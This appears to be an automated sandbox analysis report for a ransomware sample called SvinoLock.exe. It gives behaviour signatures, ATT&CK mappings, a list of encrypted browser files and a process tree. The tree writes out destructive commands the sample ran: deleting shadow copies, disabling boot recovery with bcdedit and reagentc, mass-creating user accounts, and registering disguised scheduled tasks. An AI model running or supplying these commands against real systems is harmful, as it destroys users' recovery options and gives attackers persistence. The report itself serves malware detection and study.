Overview

overview

10

Static

static

3

SvinoLock.exe

windows10-2004-x64

10

SvinoLock.exe

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    24s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 20:13

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    SvinoLock.exe
  • Size 5.7MB
  • Sample260809-yzf15acc82
  • SHA256 67222337d2accfe3219b22e417cb5e6156c86bb704de5d9ac54fb43b4359b683
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasionevasionexecutionimpactpersistenceransomwarespywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • UAC bypass 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 13 IoCs
    ransomwareevasion
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 7 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    defense_evasiontrojan
  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

    defense_evasion
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 44 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • System policy modification 1 TTPs 4 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\SvinoLock.exe
    "C:\Users\Admin\AppData\Local\Temp\SvinoLock.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • UAC bypass
    • Disables RegEdit via registry modification
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4232
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} safeboot minimal
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2772
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} safeboot minimal
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:4684
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} safeboot disabled
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4572
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} safeboot disabled
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:4312
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} safeboot disabled
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:432
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {current} safeboot disabled
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:5472
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootmenupolicy legacy
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4564
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootmenupolicy legacy
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3680
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} advancedoptions false
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2680
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} advancedoptions false
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2560
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} optionsedit false
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5828
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} optionsedit false
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3784
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reagentc /disable
      2⤵
      • Executes a command shell one-liner
      PID:1904
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {default} recoverysequence
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:6128
      • C:\Windows\system32\bcdedit.exe
        bcdedit /deletevalue {default} recoverysequence
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1552
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {default} recoveryenabled
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3968
      • C:\Windows\system32\bcdedit.exe
        bcdedit /deletevalue {default} recoveryenabled
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3108
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {current} recoverysequence
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1232
      • C:\Windows\system32\bcdedit.exe
        bcdedit /deletevalue {current} recoverysequence
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2912
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {current} recoveryenabled
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1572
      • C:\Windows\system32\bcdedit.exe
        bcdedit /deletevalue {current} recoveryenabled
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1032
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2272
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1764
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Executes a command shell one-liner
      PID:4800
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled No
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2328
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {current} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:4132
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4600
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {current} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2816
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:6108
      • C:\Windows\system32\vssadmin.exe
        vssadmin delete shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:3036
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c "for /L %i in (1,1,100) do net user KobiljonUser_%i P@ssword123! /add"
      2⤵
      • Executes a command shell one-liner
      PID:4584
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" schtasks /delete /tn "MicrosoftUpdateTask_WindowsDefenderUpdate" /f
      2⤵
      • Indicator Removal: Clear Persistence
      PID:4176
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c schtasks /create /tn "MicrosoftUpdateTask_WindowsDefenderUpdate" /tr "C:\ProgramData\Microsoft\Windows\Caches\WindowsDefenderUpdate.exe" /sc onlogon /ru "Admin" /rl HIGHEST /f
      2⤵
      • Executes a command shell one-liner
      PID:5832
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" schtasks /delete /tn "MicrosoftUpdateTask_MicrosoftEdgeUpdate" /f
      2⤵
      • Indicator Removal: Clear Persistence
      PID:3808
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c schtasks /create /tn "MicrosoftUpdateTask_MicrosoftEdgeUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe" /sc onlogon /ru "Admin" /rl HIGHEST /f
      2⤵
      • Executes a command shell one-liner
      PID:3012
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" schtasks /delete /tn "MicrosoftUpdateTask_OneDriveSetup" /f
      2⤵
      • Indicator Removal: Clear Persistence
      PID:3492
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c schtasks /create /tn "MicrosoftUpdateTask_OneDriveSetup" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\OneDriveSetup.exe" /sc onlogon /ru "Admin" /rl HIGHEST /f
      2⤵
      • Executes a command shell one-liner
      PID:4196
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" schtasks /delete /tn "MicrosoftUpdateTask_SystemRestoreHelper" /f
      2⤵
      • Indicator Removal: Clear Persistence
      PID:1460
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c schtasks /create /tn "MicrosoftUpdateTask_SystemRestoreHelper" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\SystemRestoreHelper.exe" /sc onlogon /ru "Admin" /rl HIGHEST /f
      2⤵
      • Executes a command shell one-liner
      PID:5024
      • C:\Windows\System32\Conhost.exe
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        3⤵
          PID:1552
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" schtasks /delete /tn "MicrosoftUpdateTask_MicrosoftUpdateService" /f
        2⤵
        • Indicator Removal: Clear Persistence
        PID:5284
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c schtasks /create /tn "MicrosoftUpdateTask_MicrosoftUpdateService" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\MicrosoftUpdateService.exe" /sc onlogon /ru "Admin" /rl HIGHEST /f
        2⤵
        • Executes a command shell one-liner
        PID:3460
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\MicrosoftUpdateService.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\MicrosoftUpdateService.exe"
        2⤵
          PID:1764
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} safeboot minimal
            3⤵
            • Executes a command shell one-liner
            PID:4088
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} safeboot disabled
            3⤵
            • Executes a command shell one-liner
            PID:728
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} safeboot disabled
            3⤵
            • Executes a command shell one-liner
            PID:4376
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootmenupolicy legacy
            3⤵
            • Executes a command shell one-liner
            PID:3832
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} advancedoptions false
            3⤵
            • Executes a command shell one-liner
            PID:1576
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} optionsedit false
            3⤵
            • Executes a command shell one-liner
            PID:5888
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reagentc /disable
            3⤵
            • Executes a command shell one-liner
            PID:2940
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {default} recoverysequence
            3⤵
            • Executes a command shell one-liner
            PID:6044
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {default} recoveryenabled
            3⤵
            • Executes a command shell one-liner
            PID:4492
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {current} recoverysequence
            3⤵
            • Executes a command shell one-liner
            PID:5312
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {current} recoveryenabled
            3⤵
            • Executes a command shell one-liner
            PID:1680
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
            3⤵
            • Executes a command shell one-liner
            PID:1184
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
            3⤵
            • Executes a command shell one-liner
            PID:2496
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled No
            3⤵
            • Executes a command shell one-liner
            PID:4352
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
            3⤵
            • Executes a command shell one-liner
            PID:624
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
            3⤵
            • Executes a command shell one-liner
            PID:2868
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c "for /L %i in (1,1,100) do net user KobiljonUser_%i P@ssword123! /add"
            3⤵
            • Executes a command shell one-liner
            PID:836
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" schtasks /delete /tn "MicrosoftUpdateTask_WindowsDefenderUpdate" /f
            3⤵
            • Indicator Removal: Clear Persistence
            PID:4956
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c schtasks /create /tn "MicrosoftUpdateTask_WindowsDefenderUpdate" /tr "C:\ProgramData\Microsoft\Windows\Caches\WindowsDefenderUpdate.exe" /sc onlogon /ru "Admin" /rl HIGHEST /f
            3⤵
            • Executes a command shell one-liner
            PID:3264
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" schtasks /delete /tn "MicrosoftUpdateTask_MicrosoftEdgeUpdate" /f
            3⤵
            • Indicator Removal: Clear Persistence
            PID:2380
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c schtasks /create /tn "MicrosoftUpdateTask_MicrosoftEdgeUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe" /sc onlogon /ru "Admin" /rl HIGHEST /f
            3⤵
            • Executes a command shell one-liner
            PID:3380
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" schtasks /delete /tn "MicrosoftUpdateTask_OneDriveSetup" /f
            3⤵
            • Indicator Removal: Clear Persistence
            PID:5352
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c schtasks /create /tn "MicrosoftUpdateTask_OneDriveSetup" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\OneDriveSetup.exe" /sc onlogon /ru "Admin" /rl HIGHEST /f
            3⤵
            • Executes a command shell one-liner
            PID:2708
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" schtasks /delete /tn "MicrosoftUpdateTask_SystemRestoreHelper" /f
            3⤵
            • Indicator Removal: Clear Persistence
            PID:2832
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c schtasks /create /tn "MicrosoftUpdateTask_SystemRestoreHelper" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\SystemRestoreHelper.exe" /sc onlogon /ru "Admin" /rl HIGHEST /f
            3⤵
            • Executes a command shell one-liner
            PID:3460
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" schtasks /delete /tn "MicrosoftUpdateTask_MicrosoftUpdateService" /f
            3⤵
            • Indicator Removal: Clear Persistence
            PID:840
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c schtasks /create /tn "MicrosoftUpdateTask_MicrosoftUpdateService" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\MicrosoftUpdateService.exe" /sc onlogon /ru "Admin" /rl HIGHEST /f
            3⤵
            • Executes a command shell one-liner
            PID:1176
      • C:\Windows\system32\userinit.exe
        C:\Windows\system32\userinit.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:4984
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:5496
      • C:\Windows\system32\userinit.exe
        C:\Windows\system32\userinit.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:1136
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:5676
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5672
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:940
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1852
      • C:\Windows\system32\userinit.exe
        C:\Windows\system32\userinit.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:1952
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Modifies registry class
          PID:3332
      • C:\Windows\system32\userinit.exe
        C:\Windows\system32\userinit.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:312
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Modifies registry class
          PID:5664
      • C:\Windows\system32\userinit.exe
        C:\Windows\system32\userinit.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:2528
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Modifies registry class
          PID:1444
      • C:\Windows\system32\userinit.exe
        C:\Windows\system32\userinit.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:4908
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Modifies registry class
          PID:2504
      • C:\Windows\system32\userinit.exe
        C:\Windows\system32\userinit.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:2512
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          PID:2724
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
          PID:3320
        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
          1⤵
            PID:1772
          • C:\Windows\system32\userinit.exe
            C:\Windows\system32\userinit.exe
            1⤵
              PID:3688
              • C:\Windows\Explorer.EXE
                C:\Windows\Explorer.EXE
                2⤵
                  PID:2848

              Network

                    MITRE ATT&CK Enterprise v16

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Command and Scripting Interpreter

                    1
                    T1059

                    Windows Command Shell

                    1
                    T1059.003

                    Windows Management Instrumentation

                    1
                    T1047

                    Persistence

                    Boot or Logon Autostart Execution

                    2
                    T1547

                    Active Setup

                    1
                    T1547.014

                    Registry Run Keys / Startup Folder

                    1
                    T1547.001

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Privilege Escalation

                    Abuse Elevation Control Mechanism

                    1
                    T1548

                    Bypass User Account Control

                    1
                    T1548.002

                    Boot or Logon Autostart Execution

                    2
                    T1547

                    Active Setup

                    1
                    T1547.014

                    Registry Run Keys / Startup Folder

                    1
                    T1547.001

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Defense Evasion

                    Abuse Elevation Control Mechanism

                    1
                    T1548

                    Bypass User Account Control

                    1
                    T1548.002

                    Direct Volume Access

                    1
                    T1006

                    Impair Defenses

                    2
                    T1562

                    Disable or Modify Tools

                    2
                    T1562.001

                    Indicator Removal

                    3
                    T1070

                    Clear Persistence

                    1
                    T1070.009

                    File Deletion

                    2
                    T1070.004

                    Modify Registry

                    6
                    T1112

                    Credential Access

                    Credentials from Password Stores

                    1
                    T1555

                    Credentials from Web Browsers

                    1
                    T1555.003

                    Unsecured Credentials

                    1
                    T1552

                    Credentials In Files

                    1
                    T1552.001

                    Discovery

                    Peripheral Device Discovery

                    2
                    T1120

                    Query Registry

                    3
                    T1012

                    System Information Discovery

                    4
                    T1082

                    Lateral Movement

                    Collection

                    Data from Local System

                    1
                    T1005

                    Command and Control

                    Exfiltration

                    Impact

                    Inhibit System Recovery

                    3
                    T1490

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    Account Web Data-journal.encrypted
                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Account Web Data-journal.encrypted
                    • Size 16B
                    • SHA256 2c8e76da0d78401a4c19618b61c40839f7db3fe56b6c0d4a34df9a2d70b0263b
                    • MD5 SHA1 SHA512
                    Submit Download

                    CURRENT.encrypted
                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\CURRENT.encrypted
                    • Size 32B
                    • SHA256 a167d54c446763694d4bb1edbf005d11c0ef4f4ac08b1079c730bd6b6379cd0c
                    • MD5 SHA1 SHA512
                    Submit Download

                    MANIFEST-000001.encrypted
                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\MANIFEST-000001.encrypted
                    • Size 48B
                    • SHA256 64ab2bff911797db3c1fba49d3a7e597b6a89e93f7fe9be0339150e0986f7172
                    • MD5 SHA1 SHA512
                    Submit Download

                    data_0.encrypted
                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_0.encrypted
                    • Size 8KB
                    • SHA256 63bbf45c134f3d31f53d0b76b5f6cf66657e589231b38d7a25490ec579fa8fb6
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    data_1.encrypted
                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_1.encrypted
                    • Size 264KB
                    • SHA256 715d1ba6810ea4f3212500767f9ad43cb87b114ba462f29dc1ecdef526e45ffb
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    data_2.encrypted
                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_2.encrypted
                    • Size 8KB
                    • SHA256 7f5209d65dde5246a4be87ebe2932160df180045b6b97ccb3b9802692f6a75d4
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    data_3.encrypted
                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_3.encrypted
                    • Size 8KB
                    • SHA256 160b43ac90677320044b45fae2b0ab17e2ec90eace07e5585d7a47944e10826f
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    prep_Activatable Class_Hermes_perf.cache
                    • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                    • Size 591B
                    • SHA256 dc216c11d6381abdcb6a4b927fd9ea68d336ff63c88639e4a242acf037f90c68
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    MicrosoftUpdateService.exe
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\MicrosoftUpdateService.exe
                    • Size 5.7MB
                    • SHA256 67222337d2accfe3219b22e417cb5e6156c86bb704de5d9ac54fb43b4359b683
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    1451318868ntouromlalnodry--epcr.sqlite-shm.encrypted
                    • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\zatx2150.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm.encrypted
                    • Size 32KB
                    • SHA256 b0d3b271d4020875fc7c9aa28bdb22877e9c0bdfc82825dde698dc7992936ccd
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    3561288849sdhlie.sqlite.encrypted
                    • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\zatx2150.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite.encrypted
                    • Size 48KB
                    • SHA256 8572131f282d5643bb72b92f75765ce0cb1b33f471f92a7ba5cddc50fc8af148
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    memory/940-25-0x000001B982930000-0x000001B982950000-memory.dmp
                    Download

                    memory/940-14-0x000001B9801E0000-0x000001B9802E0000-memory.dmp
                    Download

                    memory/940-44-0x000001B982B90000-0x000001B982BB0000-memory.dmp
                    Download

                    memory/940-27-0x000001B982D70000-0x000001B982E70000-memory.dmp
                    Download

                    memory/940-60-0x000001B994120000-0x000001B994140000-memory.dmp
                    Download

                    memory/4232-202-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
                    Download

                    memory/4232-212-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
                    Download

                    memory/4232-10-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
                    Download

                    memory/4232-201-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
                    Download

                    memory/4232-0-0x00007FFBD6F7F000-0x00007FFBD6F80000-memory.dmp
                    Download

                    memory/4232-203-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
                    Download

                    memory/4232-204-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
                    Download

                    memory/4232-205-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
                    Download

                    memory/4232-206-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
                    Download

                    memory/4232-207-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
                    Download

                    memory/4232-208-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
                    Download

                    memory/4232-209-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
                    Download

                    memory/4232-210-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
                    Download

                    memory/4232-12-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
